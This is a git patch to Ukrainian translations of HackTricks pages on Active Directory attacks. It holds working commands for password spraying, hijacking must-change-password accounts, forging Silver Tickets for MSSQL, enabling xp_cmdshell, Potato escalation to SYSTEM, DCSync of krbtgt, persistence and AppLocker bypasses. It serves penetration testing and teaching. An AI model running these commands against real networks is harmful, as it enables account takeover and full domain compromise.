From b2bd0492e80894596b8318789c92232d6dfd5a03 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 17:19:05 +0000 Subject: [PATCH] Translated ['src/windows-hardening/active-directory-methodology/password --- .../kerberos-authentication.md | 4 +- .../password-spraying.md | 101 ++++++---- .../silver-ticket.md | 102 +++++++--- .../README.md | 190 +++++++++++------- 4 files changed, 254 insertions(+), 143 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md index de5d24bf3..f42e2916e 100644 --- a/src/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/src/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -1,7 +1,7 @@ -# Керберос Аутентифікація +# Аутентифікація Kerberos {{#include ../../banners/hacktricks-training.md}} -**Перегляньте дивовижний пост від:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) +**Перегляньте чудову статтю:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index 7e3045a51..9d171ebc4 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -5,16 +5,16 @@ ## **Password Spraying** -Коли ви знайшли кілька **valid usernames**, ви можете спробувати найбільш поширені **common passwords** (з урахуванням password policy середовища) для кожного з виявлених користувачів.\ -За **default** значенням **minimum** **password** **length** — **7**. +Після того, як ви знайшли кілька **valid usernames** ви можете спробувати найбільш поширені **common passwords** (keep in mind the password policy of the environment)\ з кожним із виявлених користувачів.\ +By **default** the **minimum** **password** **length** is **7**. -Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Списки **common usernames** також можуть бути корисними: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) Зверніть увагу, що ви **could lockout some accounts if you try several wrong passwords** (by default more than 10). ### Get password policy -Якщо у вас є user credentials або shell як domain user, ви можете **get the password policy with**: +Якщо у вас є якісь user credentials або shell як domain user ви можете **get the password policy with**: ```bash # From Linux crackmapexec -u 'user' -p 'password' --pass-pol @@ -31,9 +31,9 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Exploitation з Linux (або будь-якої ОС) +### Експлуатація з Linux (або будь-якої ОС) -- За допомогою **crackmapexec:** +- Використовуючи **crackmapexec:** ```bash crackmapexec smb -u users.txt -p passwords.txt # Local Auth Spray (once you found some local admin pass or hash) @@ -77,7 +77,7 @@ done # check passwords for all users in current domain .\Rubeus.exe brute /passwords: /outfile: ``` -- За допомогою [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (За замовчуванням він може згенерувати користувачів із домену та отримає політику паролів з домену й обмежить кількість спроб відповідно до неї): +- За допомогою [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (За замовчуванням він може генерувати користувачів з домену і отримує політику паролів з домену та обмежує спроби відповідно до неї): ```bash Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` @@ -85,23 +85,55 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose ``` Invoke-SprayEmptyPassword ``` +### Виявлення та захоплення "Password must change at next logon" Accounts (SAMR) + +Низькошумна техніка полягає в тому, щоб spray a benign/empty password і відловити облікові записи, які повертають STATUS_PASSWORD_MUST_CHANGE — це вказує, що пароль був примусово прострочений і його можна змінити без знання попереднього. + +Workflow: +- Перерахувати користувачів (RID brute via SAMR) для формування списку цілей: + +{{#ref}} +../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md +{{#endref}} +```bash +# NetExec (null/guest) + RID brute to harvest users +netexec smb -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt +``` +- Виконайте password spraying з пустим password і продовжуйте після hits, щоб захопити облікові записи, які мають змінити password при наступному logon: +```bash +# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results +netexec smb -u users.txt -p '' --continue-on-success +``` +- Для кожного збігу змінюйте пароль через SAMR за допомогою модуля NetExec (старий пароль не потрібен, коли встановлено "must change"): +```bash +# Strong complexity to satisfy policy +env NEWPASS='P@ssw0rd!2025#' ; \ +netexec smb -u -p '' -M change-password -o NEWPASS="$NEWPASS" + +# Validate and retrieve domain password policy with the new creds +netexec smb -u -p "$NEWPASS" --pass-pol +``` +Операційні нотатки: +- Переконайтеся, що годинник вашого хоста синхронізований з DC перед операціями на основі Kerberos: `sudo ntpdate `. +- Знак [+] без (Pwn3d!) у деяких модулях (наприклад, RDP/WinRM) означає, що creds дійсні, але обліковий запис не має прав на інтерактивний вхід. + ## Brute Force ```bash legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org ``` ### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray) -Kerberos pre-auth–based spraying знижує шум порівняно з SMB/NTLM/LDAP bind attempts і краще узгоджується з AD lockout policies. SpearSpray поєднує LDAP-driven targeting, pattern engine і policy awareness (domain policy + PSOs + badPwdCount buffer), щоб виконувати spray точно й безпечно. Воно також може позначати скомпрометовані principals у Neo4j для побудови шляхів у BloodHound. +Kerberos pre-auth–based spraying зменшує шум порівняно з SMB/NTLM/LDAP bind attempts і краще відповідає політикам блокування AD. SpearSpray поєднує LDAP-driven targeting, pattern engine та обізнаність про політики (domain policy + PSOs + буфер badPwdCount) для точного й безпечного спреїнгу. Він також може позначати скомпрометовані principals у Neo4j для побудови шляхів у BloodHound. -Ключові ідеї: -- LDAP user discovery з підтримкою paging і LDAPS, опційно з використанням кастомних LDAP-фільтрів. -- Фільтрація з урахуванням політики блокування домену та PSO, яка залишає налаштовуваний буфер спроб (threshold) і запобігає блокуванню користувачів. -- Kerberos pre-auth валідація з використанням швидких gssapi bindings (генерує 4768/4771 на DCs замість 4625). -- Генерація паролів на основі шаблонів для кожного користувача з використанням змінних, таких як імена та часові значення, отримані з pwdLastSet кожного користувача. -- Контроль пропускної спроможності через потоки (threads), джиттер (jitter) та макс. запитів за секунду. -- Опційна інтеграція з Neo4j для позначення owned користувачів для BloodHound. +Key ideas: +- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters. +- Політика блокування домену + PSO-aware фільтрація, щоб залишити налаштовуваний буфер спроб (threshold) і уникнути блокування користувачів. +- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625). +- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet. +- Керування пропускною здатністю за допомогою threads, jitter та max requests per second. +- Опційна інтеграція з Neo4j для маркування скомпрометованих користувачів для BloodHound. -Базове використання та виявлення: +Basic usage and discovery: ```bash # List available pattern variables spearspray -l @@ -112,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # LDAPS (TCP/636) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl ``` -Таргетинг і контроль шаблонів: +Цілеспрямованість і контроль шаблонів: ```bash # Custom LDAP filter (e.g., target specific OU/attributes) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ @@ -121,7 +153,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME ``` -Контролі прихованості та безпеки: +Заходи прихованості та безпеки: ```bash # Control concurrency, add jitter, and cap request rate spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 @@ -129,11 +161,11 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # Leave N attempts in reserve before lockout (default threshold: 2) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2 ``` -Збагачення Neo4j/BloodHound: +Neo4j/BloodHound збагачення: ```bash spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687 ``` -Огляд системи патернів (patterns.txt): +Огляд системи шаблонів (patterns.txt): ```text # Example templates consuming per-user attributes and temporal context {name}{separator}{year}{suffix} @@ -144,27 +176,27 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local ``` Available variables include: - {name}, {samaccountname} -- Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} -- Composition helpers and org token: {separator}, {suffix}, {extra} +- Часові значення з кожного користувача pwdLastSet (або whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Допоміжні елементи складання і org token: {separator}, {suffix}, {extra} -Оперативні нотатки: -- Переважно опитуйте PDC-emulator з -dc, щоб отримати найбільш авторитетні значення badPwdCount та інформацію, пов'язану з політиками. -- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe. -- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in. +Operational notes: +- Надавайте перевагу запитам до PDC-emulator з -dc, щоб читати найбільш авторитетні badPwdCount та інформацію, пов’язану з політикою. +- Скидання badPwdCount відбувається при наступній спробі після вікна спостереження; використовуйте поріг і таймінг, щоб залишатися в безпеці. +- Спроби Kerberos pre-auth відображаються як 4768/4771 у телеметрії DC; використовуйте jitter і rate-limiting, щоб злитися з фоновим трафіком. -> Порада: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. +> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. ## Outlook Web Access -Існує кілька інструментів для p**assword spraying outlook**. +Існує кілька інструментів для password spraying outlook. -- With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) -- with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) -- With [Ruler](https://github.com/sensepost/ruler) (reliable!) -- With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) -- With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) +- З [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) +- З [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) +- З [Ruler](https://github.com/sensepost/ruler) (надійний!) +- З [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) +- З [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Щоб використовувати будь-який із цих інструментів, вам потрібен список користувачів і password / невеликий список passwords для spray. +Щоб використовувати будь-який із цих інструментів, вам потрібен список користувачів та пароль або невеликий список паролів для виконання password spraying. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -194,6 +226,7 @@ Available variables include: - [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) +- [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/silver-ticket.md b/src/windows-hardening/active-directory-methodology/silver-ticket.md index c050e24ac..96ee898b6 100644 --- a/src/windows-hardening/active-directory-methodology/silver-ticket.md +++ b/src/windows-hardening/active-directory-methodology/silver-ticket.md @@ -6,13 +6,13 @@ ## Silver ticket -Атака **Silver Ticket** передбачає експлуатацію сервісних квитків в середовищах Active Directory (AD). Цей метод базується на **отриманні NTLM хешу облікового запису сервісу**, такого як обліковий запис комп'ютера, для підробки квитка служби надання квитків (TGS). З цим підробленим квитком зловмисник може отримати доступ до конкретних сервісів в мережі, **вдаючи з себе будь-якого користувача**, зазвичай намагаючись отримати адміністративні привілеї. Підкреслюється, що використання AES ключів для підробки квитків є більш безпечним і менш помітним. +Атака **Silver Ticket** передбачає експлуатацію service tickets в середовищах Active Directory (AD). Цей метод базується на **acquiring the NTLM hash of a service account**, наприклад computer account, для підробки Ticket Granting Service (TGS) ticket. З таким підробленим квитком атакуючий може отримати доступ до конкретних сервісів у мережі, **impersonating any user**, зазвичай прагнучи отримати адміністративні привілеї. Підкреслюється, що використання AES keys для підробки квитків є більш безпечним і менш помітним. > [!WARNING] -> Silver Tickets менш помітні, ніж Golden Tickets, оскільки вони вимагають лише **хеш облікового запису сервісу**, а не облікового запису krbtgt. Однак вони обмежені конкретним сервісом, на який націлені. Більше того, просто вкрасти пароль користувача. -Більше того, якщо ви зкомпрометуєте **пароль облікового запису з SPN**, ви можете використовувати цей пароль для створення Silver Ticket, вдаючи з себе будь-якого користувача для цього сервісу. +> Silver Tickets менш помітні, ніж Golden Tickets, оскільки вони потребують лише **hash of the service account**, а не krbtgt account. Однак вони обмежені конкретним сервісом, на який спрямовані. Крім того, достатньо просто вкрасти пароль користувача. +> Якщо ви скомпрометували **account's password with a SPN**, ви можете використати цей пароль для створення Silver Ticket, що impersonating any user до цього сервісу. -Для створення квитків використовуються різні інструменти в залежності від операційної системи: +Для створення квитків (ticket crafting) використовуються різні інструменти залежно від операційної системи: ### On Linux ```bash @@ -20,7 +20,7 @@ python ticketer.py -nthash -domain-sid -domain -spn export KRB5CCNAME=/root/impacket-examples/.ccache python psexec.py /@ -k -no-pass ``` -### На Windows +### У Windows ```bash # Using Rubeus ## /ldap option is used to get domain data automatically @@ -37,48 +37,81 @@ mimikatz.exe "kerberos::ptt " # Obtain a shell .\PsExec.exe -accepteula \\ cmd ``` -CIFS-сервіс виділяється як загальна ціль для доступу до файлової системи жертви, але інші сервіси, такі як HOST і RPCSS, також можуть бути використані для завдань і запитів WMI. +Сервіс CIFS підкреслюється як поширена ціль для доступу до файлової системи жертви, але інші сервіси, такі як HOST і RPCSS, також можна експлуатувати для виконання завдань та WMI-запитів. + +### Приклад: MSSQL service (MSSQLSvc) + Potato to SYSTEM + +Якщо у вас є NTLM-хеш (або AES-ключ) облікового запису сервісу SQL (наприклад, sqlsvc), ви можете підробити TGS для MSSQL SPN і impersonate будь-якого користувача для SQL service. Далі увімкніть xp_cmdshell, щоб виконувати команди від імені облікового запису сервісу SQL. Якщо цей токен має SeImpersonatePrivilege, використайте Potato для ескалації до SYSTEM. +```bash +# Forge a silver ticket for MSSQLSvc (RC4/NTLM example) +python ticketer.py -nthash -domain-sid -domain \ +-spn MSSQLSvc/:1433 administrator +export KRB5CCNAME=$PWD/administrator.ccache + +# Connect to SQL using Kerberos and run commands via xp_cmdshell +impacket-mssqlclient -k -no-pass /administrator@:1433 \ +-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'" +``` +- Якщо отриманий контекст має SeImpersonatePrivilege (зазвичай для service accounts), використайте варіант Potato, щоб отримати SYSTEM: +```bash +# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato +PrintSpoofer.exe -c "cmd /c whoami" +# or +GodPotato -cmd "cmd /c whoami" +``` +Детальніше про зловживання MSSQL та увімкнення xp_cmdshell: + +{{#ref}} +abusing-ad-mssql.md +{{#endref}} + +Огляд Potato techniques: + +{{#ref}} +../windows-local-privilege-escalation/roguepotato-and-printspoofer.md +{{#endref}} ## Доступні сервіси -| Тип сервісу | Сервісні срібні квитки | +| Service Type | Service Silver Tickets | | ------------------------------------------ | -------------------------------------------------------------------------- | | WMI |

HOST

RPCSS

| -| PowerShell Remoting |

HOST

HTTP

В залежності від ОС також:

WSMAN

RPCSS

| -| WinRM |

HOST

HTTP

В деяких випадках ви можете просто запитати: WINRM

| -| Заплановані завдання | HOST | -| Спільний доступ до файлів Windows, також psexec | CIFS | -| Операції LDAP, включаючи DCSync | LDAP | -| Інструменти адміністрування віддалених серверів Windows |

RPCSS

LDAP

CIFS

| -| Золоті квитки | krbtgt | +| PowerShell Remoting |

HOST

HTTP

Depending on OS also:

WSMAN

RPCSS

| +| WinRM |

HOST

HTTP

In some occasions you can just ask for: WINRM

| +| Scheduled Tasks | HOST | +| Windows File Share, also psexec | CIFS | +| LDAP operations, included DCSync | LDAP | +| Windows Remote Server Administration Tools |

RPCSS

LDAP

CIFS

| +| Golden Tickets | krbtgt | -Використовуючи **Rubeus**, ви можете **запитати всі** ці квитки, використовуючи параметр: +Використовуючи **Rubeus**, ви можете **запитати всі** ці квитки, використавши параметр: - `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` -### Ідентифікатори подій срібних квитків +### Silver tickets — Ідентифікатори подій -- 4624: Вхід облікового запису -- 4634: Вихід облікового запису -- 4672: Вхід адміністратора +- 4624: Успішний вхід облікового запису +- 4634: Вихід з облікового запису +- 4672: Адміністраторський вхід -## Постійність +## Персистентність -Щоб уникнути зміни паролів на машинах кожні 30 днів, встановіть `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` або ви можете встановити `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` на більше значення, ніж 30 днів, щоб вказати період ротації, коли пароль машини має бути змінений. +Щоб уникнути того, щоб машини змінювали пароль кожні 30 днів, встановіть `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` або можна встановити `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` на значення більше ніж 30days, щоб вказати період ротації, коли пароль машини має бути змінений. ## Зловживання сервісними квитками -У наступних прикладах уявімо, що квиток отримано, імплементуючи обліковий запис адміністратора. +У наведених прикладах уявімо, що квиток отримано шляхом імітації облікового запису адміністратора. ### CIFS -З цим квитком ви зможете отримати доступ до папок `C$` і `ADMIN$` через **SMB** (якщо вони відкриті) і копіювати файли до частини віддаленої файлової системи, просто зробивши щось на зразок: +З цим квитком ви зможете отримати доступ до папок `C$` та `ADMIN$` через **SMB** (якщо вони відкриті) та скопіювати файли в частину віддаленої файлової системи, просто зробивши щось на кшталт: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` -Ви також зможете отримати оболонку всередині хоста або виконати довільні команди, використовуючи **psexec**: +Ви також зможете отримати shell усередині host або виконувати довільні команди за допомогою **psexec**: + {{#ref}} ../lateral-movement/psexec-and-winexec.md @@ -86,7 +119,7 @@ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ### HOST -З цією дозволом ви можете створювати заплановані завдання на віддалених комп'ютерах і виконувати довільні команди: +З цим дозволом ви можете створювати заплановані завдання на віддалених комп'ютерах і виконувати довільні команди: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc @@ -100,7 +133,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS -З цими квитками ви можете **виконати WMI в системі жертви**: +За допомогою цих квитків ви можете **виконувати WMI у системі жертви**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local @@ -110,30 +143,32 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis #You can also use wmic wmic remote.computer.local list full /format:list ``` -Знайдіть **додаткову інформацію про wmiexec** на наступній сторінці: +Знайдіть **більше інформації про wmiexec** на наступній сторінці: + {{#ref}} ../lateral-movement/wmiexec.md {{#endref}} -### HOST + WSMAN (WINRM) +### ХОСТ + WSMAN (WINRM) -З доступом winrm до комп'ютера ви можете **отримати доступ** до нього і навіть отримати PowerShell: +Маючи доступ по winrm до комп'ютера, ви можете **підключитися до нього** та навіть отримати PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` -Перевірте наступну сторінку, щоб дізнатися **більше способів підключення до віддаленого хоста за допомогою winrm**: +Перегляньте наступну сторінку, щоб дізнатися **більше способів підключення до віддаленого хоста за допомогою winrm**: + {{#ref}} ../lateral-movement/winrm.md {{#endref}} > [!WARNING] -> Зверніть увагу, що **winrm має бути активним і слухати** на віддаленому комп'ютері для доступу до нього. +> Зверніть увагу, що **winrm має бути активним і прослуховувати** на віддаленому комп'ютері, щоб отримати до нього доступ. ### LDAP -З цією привілеєю ви можете скинути базу даних DC, використовуючи **DCSync**: +Маючи це право, ви можете отримати дамп бази даних DC за допомогою **DCSync**: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` @@ -145,11 +180,12 @@ dcsync.md {{#endref}} -## Посилання +## Джерела - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberos-silver-tickets) - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027](https://techcommunity.microsoft.com/blog/askds/machine-account-password-process/396027) +- [HTB Sendai – 0xdf: Silver Ticket + Potato path](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) diff --git a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md index a1de6c441..8a72a3b41 100644 --- a/src/windows-hardening/authentication-credentials-uac-and-efs/README.md +++ b/src/windows-hardening/authentication-credentials-uac-and-efs/README.md @@ -1,17 +1,17 @@ -# Windows Security Controls +# Контролі безпеки Windows {{#include ../../banners/hacktricks-training.md}} -## AppLocker Policy +## Політика AppLocker -Список дозволених програм - це список затверджених програмних додатків або виконуваних файлів, які можуть бути присутніми та виконуватись на системі. Мета полягає в захисті середовища від шкідливого програмного забезпечення та незатверджених програм, які не відповідають конкретним бізнес-потребам організації. +An application whitelist is a list of approved software applications or executables that are allowed to be present and run on a system. The goal is to protect the environment from harmful malware and unapproved software that does not align with the specific business needs of an organization. -[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) - це **рішення Microsoft для білої списки програм** і надає системним адміністраторам контроль над **тим, які програми та файли можуть виконувати користувачі**. Воно забезпечує **досить детальний контроль** над виконуваними файлами, скриптами, файлами установників Windows, DLL, упакованими додатками та установниками упакованих додатків.\ -Зазвичай організації **блокують cmd.exe та PowerShell.exe** і запис у певні каталоги, **але це все можна обійти**. +[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) is Microsoft's **рішення для білого списку застосунків** і дає системним адміністраторам контроль над **якими застосунками та файлами користувачі можуть запускати**. Воно забезпечує **детальний контроль** над виконуваними файлами, скриптами, файлами встановлення Windows, DLLs, упакованими додатками та інсталяторими упакованих додатків.\ +Звично організації **блокують cmd.exe та PowerShell.exe** і запис прав у певні каталоги, **але все це можна обійти**. -### Check +### Перевірка -Перевірте, які файли/розширення знаходяться в чорному/білому списках: +Перевірте, які файли/розширення занесені в чорний/білий список: ```bash Get-ApplockerPolicy -Effective -xml @@ -20,60 +20,60 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections $a = Get-ApplockerPolicy -effective $a.rulecollections ``` -Цей шлях реєстру містить конфігурації та політики, застосовані AppLocker, що надає можливість переглянути поточний набір правил, що застосовуються в системі: +Цей шлях реєстру містить конфігурації та політики, застосовані за допомогою AppLocker, і дає змогу переглянути поточний набір правил, що застосовуються в системі: - `HKLM\Software\Policies\Microsoft\Windows\SrpV2` ### Обхід -- Корисні **записувані папки** для обходу політики AppLocker: Якщо AppLocker дозволяє виконувати будь-що всередині `C:\Windows\System32` або `C:\Windows`, є **записувані папки**, які ви можете використовувати для **обходу цього**. +- Корисні **папки з правом запису** для обходу AppLocker Policy: Якщо AppLocker дозволяє виконувати будь-що всередині `C:\Windows\System32` або `C:\Windows`, існують **папки з правом запису**, які ви можете використати, щоб **обійти це**. ``` C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys C:\Windows\System32\spool\drivers\color C:\Windows\Tasks C:\windows\tracing ``` -- Загальновідомі **достовірні** [**"LOLBAS's"**](https://lolbas-project.github.io/) бінарні файли також можуть бути корисними для обходу AppLocker. +- Зазвичай **довірені** [**"LOLBAS's"**](https://lolbas-project.github.io/) бінарні файли також можуть бути корисні для обходу AppLocker. - **Погано написані правила також можуть бути обійдені** -- Наприклад, **``**, ви можете створити **папку під назвою `allowed`** будь-де, і вона буде дозволена. -- Організації також часто зосереджуються на **блокуванні виконуваного файлу `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, але забувають про **інші** [**місця виконуваних файлів PowerShell**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations), такі як `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` або `PowerShell_ISE.exe`. -- **Примус DLL дуже рідко активується** через додаткове навантаження, яке він може створити на системі, і кількість тестування, необхідного для забезпечення того, щоб нічого не зламалося. Тому використання **DLL як бекдорів допоможе обійти AppLocker**. -- Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick), щоб **виконати код Powershell** в будь-якому процесі та обійти AppLocker. Для отримання додаткової інформації перегляньте: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +- Наприклад, **``**, можна створити **папку з назвою `allowed`** будь-де, і вона буде дозволена. +- Організації часто зосереджуються на **блокуванні виконуваного файлу `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, але забувають про **інші** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations), такі як `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` або `PowerShell_ISE.exe`. +- **Примусове застосування DLL дуже рідко увімкнене** через додаткове навантаження на систему та обсяг тестування, необхідного, щоб нічого не зламалося. Тому використання **DLL як бекдорів допоможе обійти AppLocker**. +- Ви можете використовувати [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) або [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick), щоб **виконувати код Powershell** в будь-якому процесі та обійти AppLocker. Для більше інформації див.: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). ## Зберігання облікових даних -### Менеджер безпеки облікових записів (SAM) +### Менеджер облікових записів безпеки (SAM) -Локальні облікові дані присутні в цьому файлі, паролі хешуються. +Локальні облікові дані присутні в цьому файлі, паролі хешовані. ### Локальний орган безпеки (LSA) - LSASS -**Облікові дані** (хешовані) **зберігаються** в **пам'яті** цього підсистеми з причин єдиного входу.\ -**LSA** адмініструє локальну **політику безпеки** (політика паролів, дозволи користувачів...), **аутентифікацію**, **токени доступу**...\ -LSA буде тим, хто **перевірить** надані облікові дані в файлі **SAM** (для локального входу) і **зв'яжеться** з **контролером домену** для аутентифікації користувача домену. +**Облікові дані** (хеші) **зберігаються** в **пам'яті** цієї підсистеми з міркувань Single Sign-On.\ +**LSA** адмініструє локальну **політику безпеки** (політика паролів, права користувачів...), **аутентифікацію**, **токени доступу**...\ +LSA буде тим, хто буде **перевіряти** надані облікові дані в файлі **SAM** (для локального входу) та **спілкуватиметься** з **контролером домену**, щоб автентифікувати доменного користувача. -**Облікові дані** **зберігаються** всередині **процесу LSASS**: квитки Kerberos, хеші NT і LM, легко розшифровані паролі. +**Облікові дані** **зберігаються** всередині процесу **LSASS**: Kerberos tickets, хеші NT і LM, легко розшифровувані паролі. ### Секрети LSA LSA може зберігати на диску деякі облікові дані: -- Пароль облікового запису комп'ютера Active Directory (недоступний контролер домену). +- Пароль облікового запису комп'ютера в Active Directory (коли контролер домену недоступний). - Паролі облікових записів служб Windows -- Паролі для запланованих завдань -- Інше (пароль додатків IIS...) +- Паролі для планових завдань +- Інше (пароль застосунків IIS...) ### NTDS.dit -Це база даних Active Directory. Вона присутня лише в контролерах домену. +Це база даних Active Directory. Присутня лише на контролерах домену. -## Захисник +## Defender -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) - це антивірус, доступний у Windows 10 і Windows 11, а також у версіях Windows Server. Він **блокує** загальні інструменти пентестингу, такі як **`WinPEAS`**. Однак є способи **обійти ці захисти**. +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) — антивірус, який доступний у Windows 10 і Windows 11, а також у версіях Windows Server. Він **блокує** поширені pentesting інструменти, такі як **`WinPEAS`**. Однак існують способи **обійти ці захисти**. ### Перевірка -Щоб перевірити **статус** **Захисника**, ви можете виконати командлет PS **`Get-MpComputerStatus`** (перевірте значення **`RealTimeProtectionEnabled`**, щоб дізнатися, чи 